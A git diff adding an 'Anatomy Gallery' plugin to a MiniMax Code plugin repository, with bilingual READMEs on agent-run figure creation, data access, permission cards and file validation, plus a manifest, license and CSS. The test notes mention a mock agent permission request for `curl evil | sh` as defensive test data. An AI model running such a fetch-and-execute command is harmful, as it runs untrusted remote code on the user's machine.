diff --git a/README.md b/README.md index b0d0a77a..7ec4b755 100644 --- a/README.md +++ b/README.md @@ -72,6 +72,7 @@ The MiniMax Code Agent communicates through the host MCP client. Business reques | [MiniMax Bot](plugins/minimax-ai/minimax-bot/) | **Official plugin** that turns MiniMax Code into an always-on team of Bots: a Chief Bot builds the team, group chats hand work between members with `@` mentions, and every Bot has its own memory, scheduled tasks, and usage stats. Requires MiniMax Code 3.1.2 or later | [MiniMax-AI](https://github.com/MiniMax-AI) | | [心屿 / Xinyu Island](plugins/yujiachen-y/xinyu-daily/) | A cozy daily-mood island that plays like an indie game: an inspiration card shaped by your answers, mood stickers, a joy jar, a decision slot machine, a Book of Answers, and 20 hidden secrets guarded by a grumpy crab. Optionally, Xiaoyu writes you a daily letter and chats with you using your model. Requires MiniMax Code 3.1.2 or later | [yujiachen-y](https://github.com/yujiachen-y) | | [MoMo Collab](plugins/amszuidas/momo-collab/) | A project steward that turns stray thoughts, screenshots, and links into ideas, writes clear ideas up as tasks, runs each task in its own Agent session with a full handoff, checks the result against your done criteria, and tracks everything on a board. Requires MiniMax Code 3.1.2 or later | [amszuidas](https://github.com/amszuidas) | +| [Anatomy Gallery](plugins/zch0227/anatomy-gallery/) | A gallery for interactive isometric figures made with the anatomy skill: hang them in rooms you organize, view light and dark editions full screen, keep every version, and have an Agent create or edit figures from the gallery with a per-run process log. The anatomy skill is bundled. Requires MiniMax Code 3.1.2 or later | [zch0227](https://github.com/zch0227) |
Preview: Token Usage Board diff --git a/README.zh-CN.md b/README.zh-CN.md index bbb99f5c..a1d43cef 100644 --- a/README.zh-CN.md +++ b/README.zh-CN.md @@ -73,6 +73,7 @@ MiniMax Code Agent 通过宿主 MCP 客户端与 MiniApp 协作。业务请求 | [MiniMax Bot](plugins/minimax-ai/minimax-bot/) | 【官方插件】把 MiniMax Code 变成常驻的 Bot 团队:总管 Bot 帮你组建团队,群聊里用 `@` 在成员之间交接工作,每个 Bot 有自己的记忆、定时任务和用量统计;需要 MiniMax Code 3.1.2 或更高版本(说明文档为英文) | [MiniMax-AI](https://github.com/MiniMax-AI) | | [心屿](plugins/yujiachen-y/xinyu-daily/README.zh-CN.md) | 像独立小游戏的每日心情小岛:由你的回答决定的今日灵感卡、心情贴纸、小确幸罐子、纠结老虎机、答案之书,还有坏脾气螃蟹藏起来的 20 个秘密;可选开启小屿陪伴,借用你的模型每天写信、陪你聊天。需要 MiniMax Code 3.1.2 或更高版本 | [yujiachen-y](https://github.com/yujiachen-y) | | [协作 · MoMo](plugins/amszuidas/momo-collab/README.zh-CN.md) | 项目管家 MoMo:把随手的想法、截图和链接攒成想法,写清后变成任务,派 Agent 会话带着完整背景去执行,按验收标准核对结果后交你审核,进展在看板上一眼可见。需要 MiniMax Code 3.1.2 或更高版本 | [amszuidas](https://github.com/amszuidas) | +| [Anatomy 画廊](plugins/zch0227/anatomy-gallery/README.zh-CN.md) | 集中展示 anatomy 技能做出的交互式等距图解:按自建展区挂墙,全屏查看明暗两版,保留全部历史版本;在画廊里让 Agent 新建或修改作品,每次运行都有过程记录。自带 anatomy 技能。需要 MiniMax Code 3.1.2 或更高版本 | [zch0227](https://github.com/zch0227) |
预览:Token 用量看板 diff --git a/plugins/zch0227/anatomy-gallery/.minimax-plugin/plugin.json b/plugins/zch0227/anatomy-gallery/.minimax-plugin/plugin.json new file mode 100644 index 00000000..4fc5eaa5 --- /dev/null +++ b/plugins/zch0227/anatomy-gallery/.minimax-plugin/plugin.json @@ -0,0 +1,22 @@ +{ + "schemaVersion": 1, + "name": "anatomy-gallery", + "displayName": "Anatomy 画廊", + "version": "1.1.0", + "description": "集中展示 anatomy 技能做出的交互式等距图解,每张图解关联一个 MCode 对话,可以在画廊里新建、修改并查看历史版本。自带 anatomy 技能,不用另外安装。", + "author": "zch0227", + "icon": "icon.png", + "category": "Design & Sites", + "exampleQueries": [ + "打开 Anatomy 画廊", + "用 anatomy 新建一张讲解缓存命中的图解,并登记到画廊", + "把画廊里的表盘图解改成浅色主题优先" + ], + "apps": [], + "mcpServers": [ + "servers.mcp.json" + ], + "skills": [ + "skills/anatomy/SKILL.md" + ] +} diff --git a/plugins/zch0227/anatomy-gallery/LICENSE b/plugins/zch0227/anatomy-gallery/LICENSE new file mode 100644 index 00000000..beba0c80 --- /dev/null +++ b/plugins/zch0227/anatomy-gallery/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2026 zch0227 + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/plugins/zch0227/anatomy-gallery/README.md b/plugins/zch0227/anatomy-gallery/README.md new file mode 100644 index 00000000..b5c419fd --- /dev/null +++ b/plugins/zch0227/anatomy-gallery/README.md @@ -0,0 +1,156 @@ +# Anatomy Gallery (`anatomy-gallery`) + +English | [简体中文](README.zh-CN.md) + +A gallery for interactive isometric figures made with the +[anatomy](https://github.com/wheresryan22/anatomy) skill. Every figure hangs on a wall in its room, +opens full screen in an exhibit view with its light and dark editions, and keeps every version. +New figures and edits are made by an Agent that the gallery runs for you; when the Agent finishes, +it registers the result back into the gallery through the gallery's own MCP tool. + +The anatomy skill is bundled, so the gallery works without installing it first. If you already +have a standalone anatomy skill, the gallery keeps using yours. The interface is in Chinese. + +![Anatomy Gallery wall](docs/preview.jpg) + +## What you can do + +- **Browse**: a featured figure on top and every other figure framed on the wall below, with live + miniatures of the real pages. The skill's own examples are shown as a reference set. +- **Rooms**: sort figures into rooms you create, rename and reorder ("默认" is built in and cannot be + removed). Removing a room moves its figures back to "默认". Move a figure from its Info tab. +- **Exhibit view**: the interactive page full screen, light/dark edition switch, version picker, + filmstrip and arrow keys to walk through the current room. +- **Create**: describe what the figure should explain, pick a size, a model and thinking effort, + optionally a reference example and a room. The gallery starts an Agent turn that builds the + figure with anatomy and registers it. +- **Edit**: write what to change in the drawer's Edit tab; the Agent edits the source and registers + a new version. Imported figures are copied before the first edit, never edited in place. +- **Process**: a timeline of each run made from the gallery: the request and full instruction, the + model, every Agent message, grouped tool steps, permission requests and decisions, and the end + state. Model names match the model picker. +- **Import**: add an existing anatomy page by absolute path (its `-light.html` sibling comes along). +- Theme menu: follow system, light or dark. + +## Install + +Requires MiniMax Code 3.1.2 or later, because the package declares `agentAccess`, +`agentConcurrency` and `surface.window` (the size of the pop-out window); earlier versions cannot +install it. + +Copy this directory, including the hidden `.minimax-plugin/`, into the MiniMax Code plugins +directory as `anatomy-gallery/` (`~/.minimax/plugins/anatomy-gallery/` by default; see the root +README's Install section). Restart MiniMax Code, then open "Anatomy 画廊" from the Mini App entry in +the right panel or ask the Agent to "打开 Anatomy 画廊". + +Building figures needs what the anatomy skill needs: Node.js 20.10 or later, and Chrome or +Chromium for its screenshot checks. + +## Tested environment + +- MiniMax Code 3.1.1-preview.4625 on macOS 27.0, an internal preview build that already ships the + 3.1.2 Mini App Agent API (`context.agent`, `window.mcode.miniapp.agent`). Installed through the + Host publish flow and opened in the right panel. +- Exercised with real Agent runs: creating figures from the gallery end to end (two figures, one + of them with MiniMax-M3.1-Flash-Preview; the run log and the session both confirmed the selected + model), an edit run that registered a second version, registration through + `register_figure_version`, the Process tab, and the model labels. +- Exercised in the real runtime without an Agent run: rooms (create, rename, reorder, move a + figure, remove a room, the built-in room cannot be removed), import, version switching, light + and dark editions, the theme menu in light and dark, the narrow side-panel layout. No console + errors or failed requests. +- The bundled skill: checked by resolving the skill with `HOME` pointed at an empty directory (the + gallery picked the bundled copy for prompts and examples) and by building + `examples/dial-indicator` from a copy of the bundled skill. +- Permission cards and cancelling (1.1.0), exercised in the page against a mock Agent with the same + `run` / `reply` contract: two requests in one run (the second `curl evil | sh`) each waited for a + click, with no reply sent until then (the second waited five minutes); Allow sent `allowOnce`, + Deny sent `deny`; a request already settled on MCode's card in the side panel is removed with a + notice when its gallery card is clicked, and logged as handled there; the old `/auto-allow` route + returns 404 and an `autoAllow` field in the request body has no effect; cancelling a run that + waits on a request aborts it and clears the card. +- Registration checks (1.1.0), exercised against `addVersion`: real PNG, JPEG and WebP screenshots + and a symlink to an anatomy page are accepted; a `.png` symlinked to a text file, a `.png` whose + content is text, an `.html` symlinked to `/etc/hosts`, a directory, a missing file and a relative + path are rejected, and nothing from the rejected files reaches `dataDir`. +- Not yet verified: permission cards in a real Agent run, answering an Agent question in the side + panel, the pop-out window, and creating a first figure on a machine without anatomy installed. + +## Data & access + +- **State**: everything the gallery stores is under the Host-provided `context.dataDir`: + `gallery.json` (figures, versions, rooms, run records), `figures//v/` (copies of each + version's dark and light pages and screenshots) and `runs/.jsonl` (process logs, at most + 3,000 entries per run). Removing a figure from the gallery deletes its copies and logs there; the + Agent's source folder and the linked session are left alone. The page keeps only the theme + choice in `localStorage`. +- **Files read outside `dataDir`**: + - The anatomy skill. The gallery looks for a standalone install at these fixed paths under the + home directory, in order: `.minimax/skills/anatomy`, `.agents/skills/anatomy`, + `.claude/skills/anatomy`, `.codex/skills/anatomy`, `.config/opencode/skills/anatomy`. This + relies on an unspecified layout. If none has a `SKILL.md`, it uses the copy bundled in this + package. It reads the skill's examples and preview images to show them, and passes the skill + directory to the Agent. + - Pages registered by the Agent or imported by you: the absolute HTML paths (and screenshots) + given to `register_figure_version` or typed into Import, plus a sibling `-light.html`. Any + folder is accepted, because the Agent decides where it saves screenshots and the skill's own + example screenshots live in another folder. Each path is resolved with `realpath` first and all + checks apply to the real file: it must be a regular file; a page must have an `.html`/`.htm` + name, be at most 30 MB and carry anatomy's `class="iso"` marker; a screenshot must have a PNG, + JPEG or WebP name, be at most 15 MB, and its file header must be a real PNG, JPEG or WebP (the + stored type comes from the header). The gallery copies accepted files into `dataDir` and never + writes to the originals. +- **Files written outside `dataDir`**: none by the gallery itself. The Agent writes the figure's + source in the working directory the Host assigns to the gallery's sessions (see Agent turns). +- **Agent turns** (`agentAccess: ["session.run"]`): each figure gets one hidden session created with + `context.agent.create()`. Creating asks the Agent to build the figure with anatomy in + `figures//` of that working directory, make dark and light pages and screenshots, check + them, and call `register_figure_version`. Editing asks it to change only that figure's source + folder (or a copy for imported figures) and register a new version. The Agent has its normal + abilities (files, shell, MCP). Agent text and logs are shown as data; the gallery acts only on + what `register_figure_version` receives, after validating it. Agent output language follows the + language of your request. +- **Permissions**: every permission request in a gallery run is shown as a card with Allow, Deny + and "去对话里批准" (approve in the conversation). The gallery never answers a request on its own: + Allow and Deny relay your click for that one request, and nothing happens until you click. + "去对话里批准" opens the figure's session in the chat side panel, where MCode's own permission + card and permission-mode switch decide; options such as allowing everything for that + conversation are MCode's, not the gallery's. Agent questions are answered in the chat side panel. +- **MCP**: the package declares an MCP server served by the Mini App itself at + `/mcp/anatomy-gallery`, with `register_figure_version` and `list_figures`. Agents can call them + while the gallery runs, including from ordinary chats. +- **Network**: the gallery's Node process makes no outbound requests. The Agent's own tool use is + up to the Agent. +- **Processes**: the gallery spawns none. Builds and screenshot checks run inside the Agent's turn. +- Figure pages are rendered in sandboxed iframes (`allow-scripts`, opaque origin). + +## Third-party code + +`skills/anatomy/` is [anatomy](https://github.com/wheresryan22/anatomy) at commit `bc943e4`, MIT +License, Copyright (c) 2026 Ryan; see `skills/anatomy/LICENSE`. The only change is one sentence +added at the start of the `description` in `skills/anatomy/SKILL.md`, telling Agents to prefer a +standalone anatomy install when there is one. + +## Files + +```text +.minimax-plugin/plugin.json Plugin manifest (declares the MCP server and the bundled skill) +package.json Mini App declaration +servers.mcp.json MCP server entry; its URL is a placeholder that the Host binds to the + Mini App's /mcp/anatomy-gallery route (miniapp.json mcpEndpoints) +miniapp/miniapp.json Payload roots, Node entry, page route, MCP endpoint, agentAccess +miniapp/client/ The gallery page (index.html, app.js, app.css) +miniapp/node/server.mjs Node entry: HTTP routes, SSE, MCP endpoint +miniapp/node/store.mjs gallery.json, rooms, version copies +miniapp/node/runs.mjs Agent runs, prompts, permission cards, process logs +miniapp/node/mcp.mjs Minimal MCP (JSON-RPC over HTTP) handler +miniapp/node/examples.mjs Locates the anatomy skill and lists its examples +miniapp/node/*.ts Type declarations for the runtime APIs; not loaded at runtime +skills/anatomy/ Bundled anatomy skill (third-party, MIT) +docs/preview.jpg README screenshot +icon.png Plugin icon +``` + +## License + +[MIT](./LICENSE). The bundled anatomy skill keeps its own MIT license. diff --git a/plugins/zch0227/anatomy-gallery/README.zh-CN.md b/plugins/zch0227/anatomy-gallery/README.zh-CN.md new file mode 100644 index 00000000..f79f9bdf --- /dev/null +++ b/plugins/zch0227/anatomy-gallery/README.zh-CN.md @@ -0,0 +1,60 @@ +# Anatomy 画廊(`anatomy-gallery`) + +[English](README.md) | 简体中文 + +集中展示 [anatomy](https://github.com/wheresryan22/anatomy) 技能做出的交互式等距图解。每件作品挂在所属展区的墙上,可以进入展厅全屏查看,切换明暗两版,保留全部历史版本。新建和修改由画廊替你发起的 Agent 完成,做完后 Agent 通过画廊自带的 MCP 工具把结果登记回画廊。 + +画廊自带 anatomy 技能,不用另外安装。本机已经装了独立的 anatomy 技能时,画廊继续用你装的那份。界面是中文。 + +![Anatomy 画廊墙面](docs/preview.jpg) + +## 能做什么 + +- **逛墙面**:顶部是一件大图,其余作品带画框挂在下方,缩略图是真实页面的实时缩影。技能自带的示例单独列出,可以照着新建。 +- **展区**:自己新建、改名、排序展区。“默认”是内置展区,不能移除;移除其他展区时,里面的作品回到“默认”。在作品的“信息”页可以移动作品。 +- **展厅**:全屏展示可交互的页面,可切换明暗版本、选择版本,用胶片条或左右方向键在当前展区里切换作品。 +- **新建**:写下想讲清楚的内容,选规模、模型和思考强度,可选参考示例和展区。画廊发起一次 Agent 运行,用 anatomy 做图并登记。 +- **修改**:在抽屉的“修改”标签里写要怎么改,Agent 改源文件后登记新版本。导入的作品第一次修改前会先复制,不改原文件。 +- **过程**:每次由画廊发起的运行都有时间线:需求和完整指令、模型、每条 Agent 发言、合并后的工具步骤、权限请求和你的决定、结束状态。模型名称和模型下拉框里一致。 +- **导入**:填写已有 anatomy 页面的绝对路径,同目录的 `-light.html` 会一起导入。 +- 主题菜单:跟随系统、浅色、深色。 + +## 安装 + +需要 MiniMax Code 3.1.2 或更高版本,因为包里声明了 `agentAccess`、`agentConcurrency` 和 `surface.window`(弹出窗口的尺寸),更早的版本无法安装。 + +把整个目录(包括隐藏的 `.minimax-plugin/`)复制到 MiniMax Code 的插件目录,命名为 `anatomy-gallery/`(默认是 `~/.minimax/plugins/anatomy-gallery/`,见根目录 README 的安装说明)。重启 MiniMax Code,在右侧面板的 Mini App 入口打开“Anatomy 画廊”,或者让 Agent“打开 Anatomy 画廊”。 + +做图的环境要求和 anatomy 技能一样:Node.js 20.10 或更高版本;截图校验需要 Chrome 或 Chromium。 + +## 测试环境 + +- macOS 27.0 上的 MiniMax Code 3.1.1-preview.4625。这是内部预览版,已经带有 3.1.2 的 Mini App Agent API(`context.agent`、`window.mcode.miniapp.agent`)。通过宿主的发布流程安装,在右侧面板打开。 +- 用真实 Agent 运行验证过:从画廊新建作品的完整流程(两件作品,其中一件的运行记录和会话都确认实际使用了所选的 MiniMax-M3.1-Flash-Preview)、一次登记出第二版的修改运行、通过 `register_figure_version` 登记、“过程”标签、模型显示名。 +- 在真实运行时验证过(不涉及 Agent 运行):展区(新建、改名、排序、移动作品、移除展区、内置展区不能移除)、导入、切换版本、明暗版本、浅色和深色主题、侧栏窄宽度布局。控制台和网络请求没有报错。 +- 自带技能:把 `HOME` 指向空目录后解析技能,画廊在指令和示例里都选用了自带副本;把自带副本复制出来能构建 `examples/dial-indicator`。 +- 权限卡片和取消运行(1.1.0):在页面上用一个模拟 Agent(`run` / `reply` 契约与宿主相同)验证。同一次运行里的两个请求(第二个是 `curl evil | sh`)都等到点击才回复,之前没有发出任何回复,第二个等了五分钟;点“允许”发出 `allowOnce`,点“拒绝”发出 `deny`;已在侧栏 MCode 卡片上处理过的请求,点画廊卡片时会提示并移除,过程记录里记为“已在对话里处理”;旧的 `/auto-allow` 接口返回 404,请求体里带 `autoAllow` 不起作用;Agent 停在权限请求上时取消运行,运行会终止,卡片随之清除。 +- 登记文件校验(1.1.0):直接调用 `addVersion` 验证。真实的 PNG、JPEG、WebP 截图,以及指向 anatomy 页面的符号链接都被接受;链接到文本文件的 `.png`、内容是文本的 `.png`、链接到 `/etc/hosts` 的 `.html`、目录、不存在的文件和相对路径都被拒绝,被拒文件的内容不会进入 `dataDir`。 +- 尚未验证:真实 Agent 运行中的权限卡片、在侧栏回答 Agent 的提问、弹出窗口、在没装 anatomy 的机器上首次新建作品。 + +## 数据与访问 + +- **状态**:画廊存的所有数据都在宿主提供的 `context.dataDir` 下:`gallery.json`(作品、版本、展区、运行记录)、`figures//v/`(每个版本深浅两版页面和截图的副本)、`runs/.jsonl`(过程记录,每次运行最多 3000 条)。在画廊里撤下作品会删除这些副本和记录,不动 Agent 的源文件夹和关联对话。页面的 `localStorage` 只存主题选择。 +- **读取 `dataDir` 以外的文件**: + - anatomy 技能。画廊按顺序在用户主目录下的固定位置查找独立安装的技能:`.minimax/skills/anatomy`、`.agents/skills/anatomy`、`.claude/skills/anatomy`、`.codex/skills/anatomy`、`.config/opencode/skills/anatomy`。这依赖未公开约定的目录布局。都没有 `SKILL.md` 时,用包里自带的副本。画廊会读取技能的示例和预览图用于展示,并把技能目录告诉 Agent。 + - Agent 登记或你导入的页面:传给 `register_figure_version` 或填进“导入”的 HTML 绝对路径(以及截图),外加同目录的 `-light.html`。不限制所在文件夹,因为截图存在哪由 Agent 决定,技能自带示例的截图也在另一个文件夹。每个路径先用 `realpath` 解析,所有检查都针对真实文件:必须是普通文件;页面必须是 `.html`/`.htm`、不超过 30 MB、带有 anatomy 的 `class="iso"` 标记;截图必须是 PNG、JPEG 或 WebP 文件名、不超过 15 MB,并且文件头确实是 PNG、JPEG 或 WebP(存储格式按文件头确定)。通过检查的文件复制进 `dataDir`,不写原文件。 +- **写入 `dataDir` 以外的文件**:画廊本身不写。作品源文件由 Agent 写在宿主分配给画廊会话的工作目录里(见下条)。 +- **Agent 运行**(`agentAccess: ["session.run"]`):每件作品用 `context.agent.create()` 创建一个隐藏会话。新建时,要求 Agent 在该工作目录的 `figures//` 下用 anatomy 做图,生成深浅两版页面和截图、完成校验,然后调用 `register_figure_version`。修改时,要求它只改这件作品的源文件夹(导入的作品改副本),再登记新版本。Agent 拥有正常的能力(文件、Shell、MCP)。Agent 的文字和日志只作为数据展示;画廊只根据 `register_figure_version` 收到并校验过的内容行事。Agent 的输出语言跟随你需求所用的语言。 +- **权限**:画廊发起的运行中,每个权限请求都以卡片展示,有“允许”“拒绝”“去对话里批准”三个选项。画廊从不自己回复请求:“允许”“拒绝”只把你对这一个请求的点击转给宿主,你不点就一直等着。“去对话里批准”会把这件作品的对话打开到聊天侧栏,由 MCode 自己的权限卡片和权限模式开关来决定;“本对话全部允许”这类选项属于 MCode,不是画廊的功能。Agent 的提问在聊天侧栏里回答。 +- **MCP**:包里声明了一个由 Mini App 自己提供的 MCP 服务(`/mcp/anatomy-gallery`),有 `register_figure_version` 和 `list_figures` 两个工具。画廊运行期间,Agent 可以调用它们,普通对话里也可以。 +- **网络**:画廊的 Node 进程不发起任何外部请求。Agent 自己用工具时访问什么由 Agent 决定。 +- **进程**:画廊不启动任何进程。构建和截图校验在 Agent 的运行里进行。 +- 作品页面在沙箱 iframe 里渲染(`allow-scripts`,不透明来源)。 + +## 第三方代码 + +`skills/anatomy/` 是 [anatomy](https://github.com/wheresryan22/anatomy) 的提交 `bc943e4`,MIT 许可,Copyright (c) 2026 Ryan,见 `skills/anatomy/LICENSE`。唯一的改动是在 `skills/anatomy/SKILL.md` 的 `description` 开头加了一句,提示 Agent 本机另装了 anatomy 时优先用那份。 + +## 许可 + +[MIT](./LICENSE)。自带的 anatomy 技能保留它自己的 MIT 许可。 diff --git a/plugins/zch0227/anatomy-gallery/docs/preview.jpg b/plugins/zch0227/anatomy-gallery/docs/preview.jpg new file mode 100644 index 00000000..2ae9a82d Binary files /dev/null and b/plugins/zch0227/anatomy-gallery/docs/preview.jpg differ diff --git a/plugins/zch0227/anatomy-gallery/icon.png b/plugins/zch0227/anatomy-gallery/icon.png new file mode 100644 index 00000000..299a26cb Binary files /dev/null and b/plugins/zch0227/anatomy-gallery/icon.png differ diff --git a/plugins/zch0227/anatomy-gallery/miniapp/client/app.css b/plugins/zch0227/anatomy-gallery/miniapp/client/app.css new file mode 100644 index 00000000..50a99794 --- /dev/null +++ b/plugins/zch0227/anatomy-gallery/miniapp/client/app.css @@ -0,0 +1,1674 @@ +:root, +[data-theme='light'] { + --mcode-bg: #ffffff; + --mcode-bg-secondary: #f5f5f5; + --mcode-surface: #ffffff; + --mcode-surface-muted: #fafafa; + --mcode-text: #171717; + --mcode-text-muted: #666666; + --mcode-text-subtle: #adadad; + --mcode-border: #0a0a0a14; + --mcode-border-strong: #0a0a0af2; + --mcode-accent: #0094fc; + --mcode-success: #04b54b; + --mcode-warning: #f56811; + --mcode-danger: #f73646; + --mcode-primary-action-bg: #171717; + --mcode-primary-action-text: #ffffff; + --mcode-selected-bg: #ffffff; + --mcode-shadow: 0 0 20px rgb(10 10 10 / 8%); + --tile-bg: #f2f2ef; + color-scheme: light; +} + +[data-theme='dark'] { + --mcode-bg: #171717; + --mcode-bg-secondary: #1c1c1c; + --mcode-surface: #262626; + --mcode-surface-muted: #262626; + --mcode-text: #ededed; + --mcode-text-muted: #949494; + --mcode-text-subtle: #666666; + --mcode-border: #ffffff14; + --mcode-border-strong: #fffffff2; + --mcode-accent: #0077d9; + --mcode-success: #009c3d; + --mcode-warning: #e25507; + --mcode-danger: #e31937; + --mcode-primary-action-bg: #ffffff; + --mcode-primary-action-text: #171717; + --mcode-selected-bg: #3a3a3a; + --mcode-shadow: 0 0 24px rgb(0 0 0 / 40%); + --tile-bg: #0b0b0b; + color-scheme: dark; +} + +/* The two editions of an anatomy figure have fixed paper colours, independent of the gallery theme. */ +:root { + --on-danger: #ffffff; + --figure-dark-bg: #0b0b0b; + --figure-dark-text: #ededed; + --figure-dark-muted: #8f8f8f; + --figure-dark-chip: rgb(255 255 255 / 7%); + --figure-dark-chip-hover: rgb(255 255 255 / 13%); + --figure-dark-line: rgb(255 255 255 / 12%); + --figure-light-bg: #f2f2ef; + --figure-light-text: #171717; + --figure-light-muted: #6b6b6b; + --figure-light-chip: rgb(0 0 0 / 5%); + --figure-light-chip-hover: rgb(0 0 0 / 10%); + --figure-light-line: rgb(0 0 0 / 10%); +} + +* { + box-sizing: border-box; +} + +[hidden] { + display: none !important; +} + +html, +body { + margin: 0; + background: var(--mcode-bg); + color: var(--mcode-text); + font-family: ui-sans-serif, -apple-system, system-ui, 'Segoe UI', Helvetica, Arial, sans-serif; + font-size: 14px; + line-height: 1.55; +} + +code, +.mono { + font-family: 'JetBrains Mono', ui-monospace, SFMono-Regular, Menlo, monospace; + font-size: 12px; +} + +h1, +h2, +h3, +p { + margin: 0; +} + +h1 { + font-size: 18px; + line-height: 28px; + font-weight: 600; +} + +h2 { + font-size: 16px; + line-height: 24px; + font-weight: 500; +} + +h3 { + font-size: 14px; + line-height: 20px; + font-weight: 500; +} + +.muted { + color: var(--mcode-text-muted); +} + +.small { + font-size: 12px; + line-height: 18px; +} + +:focus-visible { + outline: 2px solid var(--mcode-accent); + outline-offset: 2px; +} + +/* ---------- top bar (wall only) ---------- */ +.topbar { + display: flex; + align-items: center; + justify-content: space-between; + gap: 16px; + padding: 16px 32px; +} + +.brand { + display: flex; + align-items: baseline; + gap: 10px; +} + +.brand-sub { + color: var(--mcode-text-muted); + font-size: 13px; +} + +.topbar-actions { + display: flex; + align-items: center; + gap: 8px; +} + +body.mode-stage .topbar { + display: none; +} + +main { + outline: none; + padding: 0 32px 48px; +} + +body.mode-stage main { + padding: 0; +} + +body.mode-stage { + overflow: hidden; +} + +.loading-line { + padding: 48px 0; + color: var(--mcode-text-muted); +} + +/* ---------- buttons ---------- */ +.btn { + display: inline-flex; + align-items: center; + justify-content: center; + gap: 6px; + height: 34px; + padding: 0 14px; + border-radius: 8px; + border: 1px solid var(--mcode-border); + background: var(--mcode-surface-muted); + color: var(--mcode-text); + font: inherit; + cursor: pointer; + white-space: nowrap; + transition: background-color 150ms ease-out, opacity 150ms ease-out, border-color 150ms ease-out; +} + +.btn:hover:not(:disabled) { + border-color: var(--mcode-text-subtle); +} + +.btn:disabled { + opacity: 0.45; + cursor: not-allowed; +} + +.btn.primary { + background: var(--mcode-primary-action-bg); + color: var(--mcode-primary-action-text); + border-color: transparent; +} + +.btn.primary:hover:not(:disabled) { + opacity: 0.86; +} + +.btn.danger { + background: var(--mcode-danger); + color: var(--on-danger); + border-color: transparent; +} + +.btn.ghost { + background: transparent; + border-color: transparent; + color: var(--mcode-accent); + padding: 0 8px; +} + +.btn.sm { + height: 28px; + padding: 0 10px; + font-size: 13px; +} + +.icon-btn { + display: inline-flex; + align-items: center; + justify-content: center; + width: 34px; + height: 34px; + border-radius: 8px; + border: 1px solid transparent; + background: transparent; + color: var(--mcode-text-muted); + cursor: pointer; + transition: background-color 150ms ease-out, color 150ms ease-out; +} + +.icon-btn:hover { + background: var(--mcode-bg-secondary); + color: var(--mcode-text); +} + +/* ---------- menu ---------- */ +.menu-wrap { + position: relative; +} + +.menu { + position: absolute; + right: 0; + top: calc(100% + 6px); + z-index: 20; + min-width: 180px; + padding: 6px; + border: 1px solid var(--mcode-border); + border-radius: 12px; + background: var(--mcode-surface); + box-shadow: var(--mcode-shadow); +} + +.menu button { + display: flex; + align-items: center; + gap: 8px; + width: 100%; + height: 34px; + padding: 0 10px; + border: 0; + border-radius: 8px; + background: transparent; + color: var(--mcode-text); + font: inherit; + text-align: left; + cursor: pointer; +} + +.menu button:hover, +.menu button:focus-visible { + background: var(--mcode-bg-secondary); + outline: none; +} + +.menu button[aria-checked='true']::after { + content: '✓'; + margin-left: auto; + color: var(--mcode-text-muted); +} + +.menu button.danger-item { + color: var(--mcode-danger); +} + +.menu-sep { + height: 1px; + margin: 6px 4px; + background: var(--mcode-border); +} + +.menu-label { + padding: 4px 10px 2px; + font-size: 12px; + color: var(--mcode-text-subtle); +} + +/* ---------- hero ---------- */ +/* The caption sits below the artwork like a wall label, so it never covers + the figure's own footer, however tall it gets on a narrow panel. */ +.hero { + position: relative; + display: flex; + flex-direction: column; + border-radius: 12px; + overflow: hidden; + background: var(--tile-bg); + color: inherit; + text-decoration: none; + margin-bottom: 40px; +} + +.hero .art { + position: relative; + height: clamp(240px, 48vh, 540px); +} + +.hero-caption { + display: flex; + align-items: flex-end; + justify-content: space-between; + gap: 16px; + padding: 8px 28px 24px; +} + +.hero[data-figure-theme='dark'] { + color: var(--figure-dark-text); +} + +.hero[data-figure-theme='light'] { + color: var(--figure-light-text); +} + +.hero-kicker { + font-size: 12px; + letter-spacing: 0.04em; + opacity: 0.7; +} + +.hero-title { + font-size: 24px; + line-height: 32px; + font-weight: 600; + margin: 2px 0 4px; +} + +.hero-note { + max-width: 560px; + opacity: 0.75; +} + +.hero .enter { + flex-shrink: 0; +} + +/* ---------- wall ---------- */ +.room { + margin-bottom: 48px; +} + +.room-head { + display: flex; + align-items: baseline; + justify-content: space-between; + gap: 12px; + margin-bottom: 16px; + padding-bottom: 10px; + border-bottom: 1px solid var(--mcode-border); +} + +.room-head .muted { + font-size: 13px; +} + +.wall { + column-width: 280px; + column-gap: 28px; +} + +.tile { + display: block; + break-inside: avoid; + margin: 0 0 32px; + color: inherit; + text-decoration: none; +} + +.tile-frame { + position: relative; + padding: 14px; + border-radius: 10px; + overflow: hidden; + background: var(--tile-bg); + box-shadow: 0 0 0 1px var(--mcode-border); + transition: box-shadow 200ms ease-out; +} + +.tile:hover .tile-frame, +.tile:focus-visible .tile-frame { + box-shadow: 0 0 0 1px var(--mcode-border-strong), var(--mcode-shadow); +} + +.tile:focus-visible { + outline: none; +} + +.tile-frame img { + display: block; + width: 100%; + height: auto; +} + +.tile-frame[data-figure-theme='dark'], +.hero[data-figure-theme='dark'] { + background: var(--figure-dark-bg); +} + +.tile-frame[data-figure-theme='light'], +.hero[data-figure-theme='light'] { + background: var(--figure-light-bg); +} + +.tile-frame img.invert { + filter: invert(1) hue-rotate(180deg) contrast(0.92); +} + +.tile-caption { + display: flex; + justify-content: space-between; + align-items: baseline; + gap: 12px; + padding: 10px 2px 0; +} + +.tile-title { + font-weight: 500; + overflow: hidden; + text-overflow: ellipsis; + white-space: nowrap; +} + +.tile-meta { + flex-shrink: 0; + font-size: 12px; + color: var(--mcode-text-muted); +} + +.tile-note { + padding: 2px 2px 0; + font-size: 12px; + line-height: 18px; + color: var(--mcode-text-muted); + display: -webkit-box; + -webkit-line-clamp: 2; + -webkit-box-orient: vertical; + overflow: hidden; +} + +/* Live miniature: the plate renders at its natural width and is scaled by script. */ +.live { + position: relative; + aspect-ratio: 4 